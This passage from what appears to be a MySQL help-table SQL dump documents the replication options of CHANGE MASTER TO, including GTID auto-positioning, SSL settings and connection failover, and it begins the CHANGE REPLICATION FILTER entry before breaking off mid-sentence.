and\n specifies a valid public key file, it takes precedence over\n GET_MASTER_PUBLIC_KEY. If you are using a replication user account\n that authenticates with the caching_sha2_password plugin (which is\n the default from MySQL 8.0), and you are not using a secure\n connection, you must specify either this option or the\n MASTER_PUBLIC_KEY_PATH option to provide the RSA public key to the\n replica.\n\no GTID_ONLY = {0|1}\n\n Stops the replication channel persisting file names and file\n positions in the replication metadata repositories. GTID_ONLY is\n available as of MySQL 8.0.27. The GTID_ONLY option is disabled by\n default for asynchronous replication channels, but it is enabled by\n default for Group Replication channels, and it cannot be disabled for\n them.\n\n For replication channels with this setting, in-memory file positions\n are still tracked, and file positions can still be observed for\n debugging purposes in error messages and through interfaces such as\n SHOW REPLICA STATUS statements (where they are shown as being invalid\n if they are out of date). However, the writes and reads required to\n persist and check the file positions are avoided in situations where\n GTID-based replication does not actually require them, including the\n transaction queuing and application process.\n\n This option can be used only if both the replication SQL (applier)\n thread and replication I/O (receiver) thread are stopped. To set\n GTID_ONLY = 1 for a replication channel, GTIDs must be in use on the\n server (gtid_mode = ON), and row-based binary logging must be in use\n on the source (statement-based replication is not supported). The\n options REQUIRE_ROW_FORMAT = 1 and SOURCE_AUTO_POSITION = 1 must be\n set for the replication channel.\n\n When GTID_ONLY = 1 is set, the replica uses\n replica_parallel_workers=1 if that system variable is set to zero for\n the server, so it is always technically a multi-threaded applier.\n This is because a multi-threaded applier uses saved positions rather\n than the replication metadata repositories to locate the start of a\n transaction that it needs to reapply.\n\n If you disable GTID_ONLY after setting it, the existing relay logs\n are deleted and the existing known binary log file positions are\n persisted, even if they are stale. The file positions for the binary\n log and relay log in the replication metadata repositories might be\n invalid, and a warning is returned if this is the case. Provided that\n SOURCE_AUTO_POSITION is still enabled, GTID auto-positioning is used\n to provide the correct positioning.\n\n If you also disable SOURCE_AUTO_POSITION, the file positions for the\n binary log and relay log in the replication metadata repositories are\n used for positioning if they are valid. If they are marked as\n invalid, you must provide a valid binary log file name and position\n (SOURCE_LOG_FILE and SOURCE_LOG_POS). If you also provide a relay log\n file name and position (RELAY_LOG_FILE and RELAY_LOG_POS), the relay\n logs are preserved and the applier position is set to the stated\n position. GTID auto-skip ensures that any transactions already\n applied are skipped even if the eventual applier position is not\n correct.\n\no IGNORE_SERVER_IDS = (server_id_list)\n\n Makes the replica ignore events originating from the specified\n servers. The option takes a comma-separated list of 0 or more server\n IDs. Log rotation and deletion events from the servers are not\n ignored, and are recorded in the relay log.\n\n In circular replication, the originating server normally acts as the\n terminator of its own events, so that they are not applied more than\n once. Thus, this option is useful in circular replication when one of\n the servers in the circle is removed. Suppose that you have a\n circular replication setup with 4 servers, having server IDs 1, 2, 3,\n and 4, and server 3 fails. When bridging the gap by starting\n replication from server 2 to server 4, you can include\n IGNORE_SERVER_IDS = (3) in the CHANGE MASTER TO statement that you\n issue on server 4 to tell it to use server 2 as its source instead of\n server 3. Doing so causes it to ignore and not to propagate any\n statements that originated with the server that is no longer in use.\n\n If IGNORE_SERVER_IDS contains the server\'s own ID and the server was\n started with the --replicate-same-server-id option enabled, an error\n results.\n\n *Note*:\n\n When global transaction identifiers (GTIDs) are used for replication,\n transactions that have already been applied are automatically\n ignored, so the IGNORE_SERVER_IDS function is not required and is\n deprecated. If gtid_mode=ON is set for the server, a deprecation\n warning is issued if you include the IGNORE_SERVER_IDS option in a\n CHANGE MASTER TO statement.\n\n The source metadata repository and the output of SHOW REPLICA STATUS\n provide the list of servers that are currently ignored. For more\n information, see\n https://dev.mysql.com/doc/refman/8.0/en/replica-logs-status.html, and\n [HELP SHOW REPLICA STATUS].\n\n If a CHANGE MASTER TO statement is issued without any\n IGNORE_SERVER_IDS option, any existing list is preserved. To clear\n the list of ignored servers, it is necessary to use the option with\n an empty list:\n\nCHANGE MASTER TO IGNORE_SERVER_IDS = ();\n\n RESET REPLICA ALL clears IGNORE_SERVER_IDS.\n\n *Note*:\n\n A deprecation warning is issued if SET GTID_MODE=ON is issued when\n any channel has existing server IDs set with IGNORE_SERVER_IDS.\n Before starting GTID-based replication, check for and clear all\n ignored server ID lists on the servers involved. The SHOW REPLICA\n STATUS statement displays the list of ignored IDs, if there is one.\n If you do receive the deprecation warning, you can still clear a list\n after gtid_mode=ON is set by issuing a CHANGE MASTER TO statement\n containing the IGNORE_SERVER_IDS option with an empty list.\n\no MASTER_AUTO_POSITION = {0|1}\n\n Makes the replica attempt to connect to the source using the\n auto-positioning feature of GTID-based replication, rather than a\n binary log file based position. This option is used to start a\n replica using GTID-based replication. The default is 0, meaning that\n GTID auto-positioning and GTID-based replication are not used. This\n option can be used with CHANGE MASTER TO only if both the replication\n SQL (applier) thread and replication I/O (receiver) thread are\n stopped.\n\n Both the replica and the source must have GTIDs enabled\n (GTID_MODE=ON, ON_PERMISSIVE, or OFF_PERMISSIVE on the replica, and\n GTID_MODE=ON on the source). MASTER_LOG_FILE, MASTER_LOG_POS,\n RELAY_LOG_FILE, and RELAY_LOG_POS cannot be specified together with\n MASTER_AUTO_POSITION = 1. If multi-source replication is enabled on\n the replica, you need to set the MASTER_AUTO_POSITION = 1 option for\n each applicable replication channel.\n\n With MASTER_AUTO_POSITION = 1 set, in the initial connection\n handshake, the replica sends a GTID set containing the transactions\n that it has already received, committed, or both. The source responds\n by sending all transactions recorded in its binary log whose GTID is\n not included in the GTID set sent by the replica. This exchange\n ensures that the source only sends the transactions with a GTID that\n the replica has not already recorded or committed. If the replica\n receives transactions from more than one source, as in the case of a\n diamond topology, the auto-skip function ensures that the\n transactions are not applied twice. For details of how the GTID set\n sent by the replica is computed, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-auto-positi\n oning.html.\n\n If any of the transactions that should be sent by the source have\n been purged from the source\'s binary log, or added to the set of\n GTIDs in the gtid_purged system variable by another method, the\n source sends the error ER_SOURCE_HAS_PURGED_REQUIRED_GTIDS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_source_has_purged_required_gtids) to the replica, and\n replication does not start. The GTIDs of the missing purged\n transactions are identified and listed in the source\'s error log in\n the warning message ER_FOUND_MISSING_GTIDS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_found_missing_gtids). Also, if during the exchange of\n transactions it is found that the replica has recorded or committed\n transactions with the source\'s UUID in the GTID, but the source\n itself has not committed them, the source sends the error\n ER_REPLICA_HAS_MORE_GTIDS_THAN_SOURCE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_replica_has_more_gtids_than_source) to the replica and\n replication does not start. For information on how to handle these\n situations, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-auto-positi\n oning.html.\n\n You can see whether replication is running with GTID auto-positioning\n enabled by checking the Performance Schema\n replication_connection_status table or the output of SHOW REPLICA\n STATUS. Disabling the MASTER_AUTO_POSITION option again makes the\n replica revert to file-based replication.\n\no MASTER_BIND = \'interface_name\'\n\n Determines which of the replica\'s network interfaces is chosen for\n connecting to the source, for use on replicas that have multiple\n network interfaces. Specify the IP address of the network interface.\n The maximum length of the string value is 255 characters.\n\n The IP address configured with this option, if any, can be seen in\n the Master_Bind column of the output from SHOW REPLICA STATUS. In the\n source metadata repository table mysql.slave_master_info, the value\n can be seen as the Master_bind column. The ability to bind a replica\n to a specific network interface is also supported by NDB Cluster.\n\no MASTER_COMPRESSION_ALGORITHMS = \'algorithm[,algorithm][,algorithm]\'\n\n Specifies one, two, or three of the permitted compression algorithms\n for connections to the replication source server, separated by\n commas. The maximum length of the string value is 99 characters. The\n default value is uncompressed.\n\n The available algorithms are zlib, zstd, and uncompressed, the same\n as for the protocol_compression_algorithms system variable. The\n algorithms can be specified in any order, but it is not an order of\n preference - the algorithm negotiation process attempts to use zlib,\n then zstd, then uncompressed, if they are specified.\n MASTER_COMPRESSION_ALGORITHMS is available as of MySQL 8.0.18.\n\n The value of MASTER_COMPRESSION_ALGORITHMS applies only if the\n replica_compressed_protocol or slave_compressed_protocol system\n variable is disabled. If replica_compressed_protocol or\n slave_compressed_protocol is enabled, it takes precedence over\n MASTER_COMPRESSION_ALGORITHMS and connections to the source use zlib\n compression if both source and replica support that algorithm. For\n more information, see\n https://dev.mysql.com/doc/refman/8.0/en/connection-compression-contro\n l.html.\n\n Binary log transaction compression (available as of MySQL 8.0.20),\n which is activated by the binlog_transaction_compression system\n variable, can also be used to save bandwidth. If you do this in\n combination with connection compression, connection compression has\n less opportunity to act on the data, but can still compress headers\n and those events and transaction payloads that are uncompressed. For\n more information on binary log transaction compression, see\n https://dev.mysql.com/doc/refman/8.0/en/binary-log-transaction-compre\n ssion.html.\n\no MASTER_CONNECT_RETRY = interval\n\n Specifies the interval in seconds between the reconnection attempts\n that the replica makes after the connection to the source times out.\n The default interval is 60.\n\n The attempts are limited by the MASTER_RETRY_COUNT option. If both\n the default settings are used, the replica waits 60 seconds between\n reconnection attempts (MASTER_CONNECT_RETRY=60), and keeps attempting\n to reconnect at this rate for 60 days (MASTER_RETRY_COUNT=86400).\n These values are recorded in the source metadata repository and shown\n in the replication_connection_configuration Performance Schema table.\n\no MASTER_DELAY = interval\n\n Specifies how many seconds behind the source the replica must lag. An\n event received from the source is not executed until at least\n interval seconds later than its execution on the source. interval\n must be a nonnegative integer in the range from 0 to 231−1. The\n default is 0. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-delayed.html.\n\n A CHANGE MASTER TO statement employing the MASTER_DELAY option can be\n executed on a running replica when the replication SQL thread is\n stopped.\n\no MASTER_HEARTBEAT_PERIOD = interval\n\n Controls the heartbeat interval, which stops the connection timeout\n occurring in the absence of data if the connection is still good. A\n heartbeat signal is sent to the replica after that number of seconds,\n and the waiting period is reset whenever the source\'s binary log is\n updated with an event. Heartbeats are therefore sent by the source\n only if there are no unsent events in the binary log file for a\n period longer than this.\n\n The heartbeat interval interval is a decimal value having the range 0\n to 4294967 seconds and a resolution in milliseconds; the smallest\n nonzero value is 0.001. Setting interval to 0 disables heartbeats\n altogether. The heartbeat interval defaults to half the value of the\n replica_net_timeout or slave_net_timeout system variable. It is\n recorded in the source metadata repository and shown in the\n replication_connection_configuration Performance Schema table.\n\n The system variable replica_net_timeout (from MySQL 8.0.26) or\n slave_net_timeout (before MySQL 8.0.26) specifies the number of\n seconds that the replica waits for either more data or a heartbeat\n signal from the source, before the replica considers the connection\n broken, aborts the read, and tries to reconnect. The default value is\n 60 seconds (one minute). Note that a change to the value or default\n setting of replica_net_timeout or slave_net_timeout does not\n automatically change the heartbeat interval, whether that has been\n set explicitly or is using a previously calculated default. A warning\n is issued if you set the global value of replica_net_timeout or\n slave_net_timeout to a value less than that of the current heartbeat\n interval. If replica_net_timeout or slave_net_timeout is changed, you\n must also issue CHANGE MASTER TO to adjust the heartbeat interval to\n an appropriate value so that the heartbeat signal occurs before the\n connection timeout. If you do not do this, the heartbeat signal has\n no effect, and if no data is received from the source, the replica\n can make repeated reconnection attempts, creating zombie dump\n threads.\n\no MASTER_HOST = \'host_name\'\n\n The host name or IP address of the replication source server. The\n replica uses this to connect to the source. The maximum length of the\n string value is 255 characters. Before MySQL 8.0.17 it was 60\n characters.\n\n If you specify MASTER_HOST or MASTER_PORT, the replica assumes that\n the source server is different from before (even if the option value\n is the same as its current value.) In this case, the old values for\n the source\'s binary log file name and position are considered no\n longer applicable, so if you do not specify MASTER_LOG_FILE and\n MASTER_LOG_POS in the statement, MASTER_LOG_FILE=\'\' and\n MASTER_LOG_POS=4 are silently appended to it.\n\n Setting MASTER_HOST=\'\' (that is, setting its value explicitly to an\n empty string) is not the same as not setting MASTER_HOST at all.\n Trying to set MASTER_HOST to an empty string fails with an error.\n\no MASTER_LOG_FILE = \'source_log_name\', MASTER_LOG_POS = source_log_pos\n\n The binary log file name, and the location in that file, at which the\n replication I/O (receiver) thread begins reading from the source\'s\n binary log the next time the thread starts. Specify these options if\n you are using binary log file position based replication.\n\n MASTER_LOG_FILE must include the numeric suffix of a specific binary\n log file that is available on the source server, for example,\n MASTER_LOG_FILE=\'binlog.000145\'. The maximum length of the string\n value is 511 characters.\n\n MASTER_LOG_POS is the numeric position for the replica to start\n reading in that file. MASTER_LOG_POS=4 represents the start of the\n events in a binary log file.\n\n If you specify either of MASTER_LOG_FILE or MASTER_LOG_POS, you\n cannot specify MASTER_AUTO_POSITION = 1, which is for GTID-based\n replication.\n\n If neither of MASTER_LOG_FILE or MASTER_LOG_POS is specified, the\n replica uses the last coordinates of the replication SQL (applier)\n thread before CHANGE MASTER TO was issued. This ensures that there is\n no discontinuity in replication, even if the replication SQL\n (applier) thread was late compared to the replication I/O (receiver)\n thread.\n\no MASTER_PASSWORD = \'password\'\n\n The password for the replication user account to use for connecting\n to the replication source server. The maximum length of the string\n value is 32 characters. If you specify MASTER_PASSWORD, MASTER_USER\n is also required.\n\n The password used for a replication user account in a CHANGE MASTER\n TO statement is limited to 32 characters in length. Trying to use a\n password of more than 32 characters causes CHANGE MASTER TO to fail.\n\n The password is masked in MySQL Server\'s logs, Performance Schema\n tables, and SHOW PROCESSLIST statements.\n\no MASTER_PORT = port_num\n\n The TCP/IP port number that the replica uses to connect to the\n replication source server.\n\n *Note*:\n\n Replication cannot use Unix socket files. You must be able to connect\n to the replication source server using TCP/IP.\n\n If you specify MASTER_HOST or MASTER_PORT, the replica assumes that\n the source server is different from before (even if the option value\n is the same as its current value). In this case, the old values for\n the source\'s binary log file name and position are considered no\n longer applicable, so if you do not specify MASTER_LOG_FILE and\n MASTER_LOG_POS in the statement, MASTER_LOG_FILE=\'\' and\n MASTER_LOG_POS=4 are silently appended to it.\n\no MASTER_PUBLIC_KEY_PATH = \'key_file_name\'\n\n Enables RSA key pair-based password exchange by providing the path\n name to a file containing a replica-side copy of the public key\n required by the source. The file must be in PEM format. The maximum\n length of the string value is 511 characters.\n\n This option applies to replicas that authenticate with the\n sha256_password or caching_sha2_password authentication plugin. (For\n sha256_password, MASTER_PUBLIC_KEY_PATH can be used only if MySQL was\n built using OpenSSL.) If you are using a replication user account\n that authenticates with the caching_sha2_password plugin (which is\n the default from MySQL 8.0), and you are not using a secure\n connection, you must specify either this option or the\n GET_MASTER_PUBLIC_KEY=1 option to provide the RSA public key to the\n replica.\n\no MASTER_RETRY_COUNT = count\n\n Sets the maximum number of reconnection attempts that the replica\n makes after the connection to the source times out, as determined by\n the replica_net_timeout or slave_net_timeout system variable. If the\n replica does need to reconnect, the first retry occurs immediately\n after the timeout. The default is 86400 attempts.\n\n The interval between the attempts is specified by the\n MASTER_CONNECT_RETRY option. If both the default settings are used,\n the replica waits 60 seconds between reconnection attempts\n (MASTER_CONNECT_RETRY=60), and keeps attempting to reconnect at this\n rate for 60 days (MASTER_RETRY_COUNT=86400). A setting of 0 for\n MASTER_RETRY_COUNT means that there is no limit on the number of\n reconnection attempts, so the replica keeps trying to reconnect\n indefinitely.\n\n The values for MASTER_CONNECT_RETRY and MASTER_RETRY_COUNT are\n recorded in the source metadata repository and shown in the\n replication_connection_configuration Performance Schema table.\n MASTER_RETRY_COUNT supersedes the --master-retry-count server startup\n option.\n\no MASTER_SSL = {0|1}\n\n Specify whether the replica encrypts the replication connection. The\n default is 0, meaning that the replica does not encrypt the\n replication connection. If you set MASTER_SSL=1, you can configure\n the encryption using the MASTER_SSL_xxx and MASTER_TLS_xxx options.\n\n Setting MASTER_SSL=1 for a replication connection and then setting no\n further MASTER_SSL_xxx options corresponds to setting\n --ssl-mode=REQUIRED for the client, as described in\n https://dev.mysql.com/doc/refman/8.0/en/connection-options.html#encry\n pted-connection-options. With MASTER_SSL=1, the connection attempt\n only succeeds if an encrypted connection can be established. A\n replication connection does not fall back to an unencrypted\n connection, so there is no setting corresponding to the\n --ssl-mode=PREFERRED setting for replication. If MASTER_SSL=0 is set,\n this corresponds to --ssl-mode=DISABLED.\n\n *Important*:\n\n To help prevent sophisticated man-in-the-middle attacks, it is\n important for the replica to verify the server\'s identity. You can\n specify additional MASTER_SSL_xxx options to correspond to the\n settings --ssl-mode=VERIFY_CA and --ssl-mode=VERIFY_IDENTITY, which\n are a better choice than the default setting to help prevent this\n type of attack. With these settings, the replica checks that the\n server\'s certificate is valid, and checks that the host name the\n replica is using matches the identity in the server\'s certificate. To\n implement one of these levels of verification, you must first ensure\n that the CA certificate for the server is reliably available to the\n replica, otherwise availability issues will result. For this reason,\n they are not the default setting.\n\no MASTER_SSL_xxx, MASTER_TLS_xxx\n\n Specify how the replica uses encryption and ciphers to secure the\n replication connection. These options can be changed even on replicas\n that are compiled without SSL support. They are saved to the source\n metadata repository, but are ignored if the replica does not have SSL\n support enabled. The maximum length of the value for the\n string-valued MASTER_SSL_xxx and MASTER_TLS_xxx options is 511\n characters, with the exception of MASTER_TLS_CIPHERSUITES, for which\n it is 4000 characters.\n\n The MASTER_SSL_xxx and MASTER_TLS_xxx options perform the same\n functions as the --ssl-xxx and --tls-xxx client options described in\n https://dev.mysql.com/doc/refman/8.0/en/connection-options.html#encry\n pted-connection-options. The correspondence between the two sets of\n options, and the use of the MASTER_SSL_xxx and MASTER_TLS_xxx options\n to set up a secure connection, is explained in\n https://dev.mysql.com/doc/refman/8.0/en/replication-encrypted-connect\n ions.html.\n\no MASTER_USER = \'user_name\'\n\n The user name for the replication user account to use for connecting\n to the replication source server. The maximum length of the string\n value is 96 characters.\n\n For Group Replication, this account must exist on every member of the\n replication group. It is used for distributed recovery if the XCom\n communication stack is in use for the group, and also used for group\n communication connections if the MySQL communication stack is in use\n for the group. With the MySQL communication stack, the account must\n have the GROUP_REPLICATION_STREAM permission.\n\n It is possible to set an empty user name by specifying\n MASTER_USER=\'\', but the replication channel cannot be started with an\n empty user name. In releases before MySQL 8.0.21, only set an empty\n MASTER_USER user name if you need to clear previously used\n credentials from the replication metadata repositories for security\n purposes. Do not use the channel afterwards, due to a bug in these\n releases that can substitute a default user name if an empty user\n name is read from the repositories (for example, during an automatic\n restart of a Group Replication channel). From MySQL 8.0.21, it is\n valid to set an empty MASTER_USER user name and use the channel\n afterwards if you always provide user credentials using the START\n REPLICA statement or START GROUP_REPLICATION statement that starts\n the replication channel. This approach means that the replication\n channel always needs operator intervention to restart, but the user\n credentials are not recorded in the replication metadata\n repositories.\n\n *Important*:\n\n To connect to the source using a replication user account that\n authenticates with the caching_sha2_password plugin, you must either\n set up a secure connection as described in\n https://dev.mysql.com/doc/refman/8.0/en/replication-encrypted-connect\n ions.html, or enable the unencrypted connection to support password\n exchange using an RSA key pair. The caching_sha2_password\n authentication plugin is the default for new users created from MySQL\n 8.0 (for details, see\n https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authen\n tication.html). If the user account that you create or use for\n replication uses this authentication plugin, and you are not using a\n secure connection, you must enable RSA key pair-based password\n exchange for a successful connection. You can do this using either\n the MASTER_PUBLIC_KEY_PATH option or the GET_MASTER_PUBLIC_KEY=1\n option for this statement.\n\no MASTER_ZSTD_COMPRESSION_LEVEL = level\n\n The compression level to use for connections to the replication\n source server that use the zstd compression algorithm. The permitted\n levels are from 1 to 22, with larger values indicating increasing\n levels of compression. The default level is 3.\n MASTER_ZSTD_COMPRESSION_LEVEL is available as of MySQL 8.0.18.\n\n The compression level setting has no effect on connections that do\n not use zstd compression. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/connection-compression-contro\n l.html.\n\no NETWORK_NAMESPACE = \'namespace\'\n\n The network namespace to use for TCP/IP connections to the\n replication source server or, if the MySQL communication stack is in\n use, for Group Replication\'s group communication connections. The\n maximum length of the string value is 64 characters. If this option\n is omitted, connections from the replica use the default (global)\n namespace. On platforms that do not implement network namespace\n support, failure occurs when the replica attempts to connect to the\n source. For information about network namespaces, see\n https://dev.mysql.com/doc/refman/8.0/en/network-namespace-support.htm\n l. NETWORK_NAMESPACE is available as of MySQL 8.0.22.\n\no PRIVILEGE_CHECKS_USER = {NULL | \'account\'}\n\n Names a user account that supplies a security context for the\n specified channel. NULL, which is the default, means no security\n context is used. PRIVILEGE_CHECKS_USER is available as of MySQL\n 8.0.18.\n\n The user name and host name for the user account must follow the\n syntax described in\n https://dev.mysql.com/doc/refman/8.0/en/account-names.html, and the\n user must not be an anonymous user (with a blank user name) or the\n CURRENT_USER. The account must have the REPLICATION_APPLIER\n privilege, plus the required privileges to execute the transactions\n replicated on the channel. For details of the privileges required by\n the account, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html. When you restart the replication channel, the privilege checks\n are applied from that point on. If you do not specify a channel and\n no other channels exist, the statement is applied to the default\n channel.\n\n The use of row-based binary logging is strongly recommended when\n PRIVILEGE_CHECKS_USER is set, and you can set REQUIRE_ROW_FORMAT to\n enforce this. For example, to start privilege checks on the channel\n channel_1 on a running replica, issue the following statements:\n\nmysql> STOP REPLICA FOR CHANNEL \'channel_1\';\nmysql> CHANGE MASTER TO\n PRIVILEGE_CHECKS_USER = \'priv_repl\'@\'%.example.com\',\n REQUIRE_ROW_FORMAT = 1,\n FOR CHANNEL \'channel_1\';\nmysql> START REPLICA FOR CHANNEL \'channel_1\';\n\n For releases from MySQL 8.0.22, use START REPLICA and STOP REPLICA,\n and for releases before MySQL 8.0.22, use START SLAVE and STOP SLAVE.\n The statements work in the same way, only the terminology has\n changed.\n\no RELAY_LOG_FILE = \'relay_log_file\' , RELAY_LOG_POS = \'relay_log_pos\'\n\n The relay log file name, and the location in that file, at which the\n replication SQL thread begins reading from the replica\'s relay log\n the next time the thread starts. RELAY_LOG_FILE can use either an\n absolute or relative path, and uses the same base name as\n MASTER_LOG_FILE. The maximum length of the string value is 511\n characters.\n\n A CHANGE MASTER TO statement using RELAY_LOG_FILE, RELAY_LOG_POS, or\n both options can be executed on a running replica when the\n replication SQL thread is stopped. Relay logs are preserved if at\n least one of the replication SQL (applier) thread and the replication\n I/O (receiver) thread is running. If both threads are stopped, all\n relay log files are deleted unless at least one of RELAY_LOG_FILE or\n RELAY_LOG_POS is specified. For the Group Replication applier channel\n (group_replication_applier), which only has an applier thread and no\n receiver thread, this is the case if the applier thread is stopped,\n but with that channel you cannot use the RELAY_LOG_FILE and\n RELAY_LOG_POS options.\n\no REQUIRE_ROW_FORMAT = {0|1}\n\n Permits only row-based replication events to be processed by the\n replication channel. This option prevents the replication applier\n from taking actions such as creating temporary tables and executing\n LOAD DATA INFILE requests, which increases the security of the\n channel. The REQUIRE_ROW_FORMAT option is disabled by default for\n asynchronous replication channels, but it is enabled by default for\n Group Replication channels, and it cannot be disabled for them. For\n more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html. REQUIRE_ROW_FORMAT is available as of MySQL 8.0.19.\n\no REQUIRE_TABLE_PRIMARY_KEY_CHECK = {STREAM | ON | OFF}\n\n Enables a replica to select its own policy for primary key checks.\n The default is STREAM. REQUIRE_TABLE_PRIMARY_KEY_CHECK is available\n as of MySQL 8.0.20.\n\n When the option is set to ON for a replication channel, the replica\n always uses the value ON for the sql_require_primary_key system\n variable in replication operations, requiring a primary key. When the\n option is set to OFF, the replica always uses the value OFF for the\n sql_require_primary_key system variable in replication operations, so\n that a primary key is never required, even if the source required\n one. When the REQUIRE_TABLE_PRIMARY_KEY_CHECK option is set to\n STREAM, which is the default, the replica uses whatever value is\n replicated from the source for each transaction.\n\n For multisource replication, setting REQUIRE_TABLE_PRIMARY_KEY_CHECK\n to ON or OFF enables a replica to normalize behavior across the\n replication channels for different sources, and keep a consistent\n setting for the sql_require_primary_key system variable. Using ON\n safeguards against the accidental loss of primary keys when multiple\n sources update the same set of tables. Using OFF allows sources that\n can manipulate primary keys to work alongside sources that cannot.\n\n When PRIVILEGE_CHECKS_USER is set, setting\n REQUIRE_TABLE_PRIMARY_KEY_CHECK to ON or OFF means that the user\n account does not need session administration level privileges to set\n restricted session variables, which are required to change the value\n of sql_require_primary_key to match the source\'s setting for each\n transaction. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html.\n\no SOURCE_CONNECTION_AUTO_FAILOVER = {0|1}\n\n Activates the asynchronous connection failover mechanism for a\n replication channel if one or more alternative replication source\n servers are available (so when there are multiple MySQL servers or\n groups of servers that share the replicated data).\n SOURCE_CONNECTION_AUTO_FAILOVER is available as of MySQL 8.0.22. The\n default is 0, meaning that the mechanism is not activated. For full\n information and instructions to set up this feature, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-conn\n ection-failover-replica.html.\n\n The asynchronous connection failover mechanism takes over after the\n reconnection attempts controlled by MASTER_CONNECT_RETRY and\n MASTER_RETRY_COUNT are exhausted. It reconnects the replica to an\n alternative source chosen from a specified source list, which you\n manage using the asynchronous_connection_failover_add_source and\n asynchronous_connection_failover_delete_source functions. To add and\n remove managed groups of servers, use the\n asynchronous_connection_failover_add_managed and\n asynchronous_connection_failover_delete_managed functions instead.\n For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-conn\n ection-failover.html.\n\n *Important*:\n\n 1. You can only set SOURCE_CONNECTION_AUTO_FAILOVER = 1 when GTID\n auto-positioning is in use (MASTER_AUTO_POSITION = 1).\n\n 2. When you set SOURCE_CONNECTION_AUTO_FAILOVER = 1, set\n MASTER_RETRY_COUNT and MASTER_CONNECT_RETRY to minimal numbers\n that just allow a few retry attempts with the same source in a\n short time, in case the connection failure is caused by a\n transient network outage. Otherwise the asynchronous connection\n failover mechanism cannot be activated promptly. Suitable values\n are MASTER_RETRY_COUNT=3 and MASTER_CONNECT_RETRY=10, which make\n the replica retry the connection 3 times with 10-second intervals\n between.\n\n 3. When you set SOURCE_CONNECTION_AUTO_FAILOVER = 1, the replication\n metadata repositories must contain the credentials for a\n replication user account that can be used to connect to all the\n servers on the source list for the replication channel. These\n credentials can be set using the CHANGE REPLICATION SOURCE TO\n statement with the MASTER_USER and MASTER_PASSWORD options. For\n more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-\n connection-failover.html.\n\n 4. From MySQL 8.0.27, when you set SOURCE_CONNECTION_AUTO_FAILOVER =\n 1, asynchronous connection failover for replicas is automatically\n activated if this replication channel is on a Group Replication\n primary in a group in single-primary mode. With this function\n active, if the primary that is replicating goes offline or into\n an error state, the new primary starts replication on the same\n channel when it is elected. If you want to use the function, this\n replication channel must also be set up on all the secondary\n servers in the replication group, and on any new joining members.\n (If the servers are provisioned using MySQL\'s clone\n functionality, this all happens automatically.) If you do not\n want to use the function, disable it by using the\n group_replication_disable_member_action function to disable the\n Group Replication member action\n mysql_start_failover_channels_if_primary, which is enabled by\n default. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-\n connection-failover-replica.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/change-master-to.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/change-master-to.html'),(580,'CHANGE REPLICATION FILTER',43,'Syntax:\nCHANGE REPLICATION FILTER filter[, filter]\n [, ...] [FOR CHANNEL channel]\n\nfilter: {\n REPLICATE_DO_DB = (db_list)\n | REPLICATE_IGNORE_DB = (db_list)\n | REPLICATE_DO_TABLE = (tbl_list)\n | REPLICATE_IGNORE_TABLE = (tbl_list)\n | REPLICATE_WILD_DO_TABLE = (wild_tbl_list)\n | REPLICATE_WILD_IGNORE_TABLE = (wild_tbl_list)\n | REPLICATE_REWRITE_DB = (db_pair_list)\n}\n\ndb_list:\n db_name[, db_name][, ...]\n\ntbl_list:\n db_name.table_name[, db_name.table_name][, ...]\nwild_tbl_list:\n \'db_pattern.table_pattern\'[, \'db_pattern.table_pattern\'][, ...]\n\ndb_pair_list:\n (db_pair)[, (db_pair)][, ...]\n\ndb_pair:\n from_db, to_db\n\nCHANGE REPLICATION FILTER sets one or more replication filtering rules\non the replica in the same way as starting the replica mysqld with\nreplication filtering options such as --replicate-do-db or\n--replicate-wild-ignore-table. Filters set using this statement differ\nfrom those set using the server options in two key respects:\n\n1. The statement does not require restarting the server to take effect,\n only that the replication SQL thread be stopped using STOP REPLICA\n SQL_THREAD first (and restarted with START REPLICA SQL_THREAD\n afterwards).\n\n2. The effects of the statement are not persistent; any filters set\n using CHANGE REPLICATION FILTER are lost following a restart of the\n replica mysqld.\n\nCHANGE REPLICATION FILTER requires the REPLICATION_SLAVE_ADMIN\nprivilege (or the deprecated SUPER privilege).\n\nUse the FOR CHANNEL channel clause to make a replication filter\nspecific to a replication channel, for example on a multi-source\nreplica. Filters applied without a specific FOR CHANNEL clause are\nconsidered global filters, meaning that they are applied to all\nreplication channels.\n\nGlobal replication filters cannot be set on a MySQL server instance\nthat is configured for Group Replication, because filtering\ntransactions on some servers would make the group unable to reach\nagreement on a consistent state. Channel specific replication filters\ncan be set on replication channels that are not directly involved with\nGroup Replication, such as where a group member also acts as a replica\nto a source that is outside the group. They cannot be set on the\ngroup_replication_applier or group_replication_recovery channels.\n\nThe following list shows the CHANGE REPLICATION FILTER options and how\nthey relate to --replicate-* server options:\n\no REPLICATE_DO_DB: Include updates based on database name. Equivalent\n to --replicate-do-db.\n\no REPLICATE_IGNORE_DB: Exclude updates based on database name.\n Equivalent to --replicate-ignore-db.\n\no REPLICATE_DO_TABLE: Include updates based on table name. Equivalent\n to --replicate-do-table.\n\no REPLICATE_IGNORE_TABLE: Exclude updates based on table name.\n Equivalent to --replicate-ignore-table.\n\no REPLICATE_WILD_DO_TABLE: Include updates based on wildcard pattern\n matching table name. Equivalent to --replicate-wild-do-table.\n\no REPLICATE_WILD_IGNORE_TABLE: Exclude updates based on wildcard\n pattern matching table name. Equivalent to\n --replicate-wild-ignore-table.\n\no REPLICATE_REWRITE_DB: Perform updates on replica after substituting\n new name on replica for specified database on source. Equivalent to\n --replicate-rewrite-db.\n\nThe precise effects of REPLICATE_DO_DB and REPLICATE_IGNORE_DB filters\nare dependent on 